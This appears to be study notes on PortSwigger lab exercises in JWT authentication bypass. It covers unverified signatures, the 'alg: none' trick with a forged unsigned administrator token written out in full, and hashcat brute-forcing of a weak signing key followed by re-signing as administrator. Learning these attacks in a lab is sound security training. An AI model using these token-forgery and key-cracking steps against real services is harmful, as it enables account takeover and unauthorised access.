What Are JWTs?
Quote
JSON web tokens (JWTs) are a standardized format for sending cryptographically signed JSON data between systems. They can theoretically contain any kind of data, but are most commonly used to send information (“claims”) about users as part of authentication, session handling, and access control mechanisms.
Unlike with classic session tokens, all of the data that a server needs is stored client-side within the JWT itself.
JWT Signature
Quote
The server that issues the token typically generates the signature by hashing the header and payload. In some cases, they also encrypt the resulting hash.
JWT Implementations
Quote
The JWT spec is extended by both the JSON Web Signature (JWS) and JSON Web Encryption (JWE) specifications, which define concrete ways of actually implementing JWTs.
When people use the term “JWT”, they almost always mean a JWS token. JWEs are very similar, except that the actual contents of the token are encrypted rather than just encoded.
What Are JWT Attacks?
Quote
JWT attacks involve a user sending modified JWTs to the server in order to achieve a malicious goal. Typically, this goal is to bypass authentication and access controls by impersonating another user who has already been authenticated.
Accepting Arbitrary Signatures
Quote
JWT libraries typically provide one method for verifying tokens and another that just decodes them. For example, the Node.js library
jsonwebtoken
hasverify()
anddecode()
.Occasionally, developers confuse these two methods and only pass incoming tokens to the
decode()
method. This effectively means that the application doesn’t verify the signature at all.
Lab: JWT Authentication Bypass via Unverified Signature
Header and payload when logged in as wiener
:
{
"kid": "fd652895-c8ce-40f6-a298-08b5df6cab66",
"alg": "RS256"
}
{
"iss": "portswigger",
"exp": 1724583782,
"sub": "wiener"
}
Access to /admin
with this JWT, we got the following message:
Warning
Admin interface only available if logged in as an administrator
Change sub
field to administrator
and repeat the request, we can get into the /admin
page.
Accepting Tokens with No Signature
Quote
JWTs can be signed using a range of different algorithms, but can also be left unsigned. In this case, the
alg
parameter is set tonone
, which indicates a so-called “unsecured JWT”.Due to the obvious dangers of this, servers usually reject tokens with no signature. However, as this kind of filtering relies on string parsing, you can sometimes bypass these filters using classic obfuscation techniques, such as mixed capitalization and unexpected encodings.
Note
Even if the token is unsigned, the payload part must still be terminated with a trailing dot.
Lab: JWT Authentication Bypass via Flawed Signature Verification
To bypass the authentication, we do the following things:
- Change
alg
of header to"none"
. - Change
sub
of payload to"administrator
- Remove the signature part (excluding the trailing dot).
Particularly, the JWT should be modified into this:
JWT
eyJraWQiOiI2Y2M3ODBjYi1hYTg1LTQ3YTktOTNkNi0zODU0ZjBmMGEwMTciLCJhbGciOiJub25lIn0.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDU4NTc4NCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.
Brute-forcing Secret Keys
You just need a valid, signed JWT from the target server and a wordlist of well-known secrets. You can then run the following command, passing in the JWT and wordlist as arguments:
hashcat -a 0 -m 16500 <jwt> <wordlist>
Lab: JWT Authentication Bypass via Weak Signing Key
Use hashcat and the above wordlist to find the secret key:
$ hashcat -a 0 -m 16500 eyJraWQiOiI0MzRkYzk4ZS1mNWZjLTRmODEtYWEyYy04NzRkMmM4ZTE0MTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDU4Njg1Niwic3ViIjoid2llbmVyIn0.feVtkq6MsXxM3ISUv2OJK5q6WgSbbKs0VQb1aRfCrfY ./jwt.secrets.list --show
eyJraWQiOiI0MzRkYzk4ZS1mNWZjLTRmODEtYWEyYy04NzRkMmM4ZTE0MTAiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTcyNDU4Njg1Niwic3ViIjoid2llbmVyIn0.feVtkq6MsXxM3ISUv2OJK5q6WgSbbKs0VQb1aRfCrfY:secret1
As we can see, the secret key is secret1
.
Use this secret to create a symmetric key in JWT Editor extension of Burp Suite. Then, change payload into:
{
"iss": "portswigger",
"exp": 1724586856,
"sub": "administrator"
}
And sign the payload with the created key.
Send request to /admin
and delete the carlos
user to finish the lab.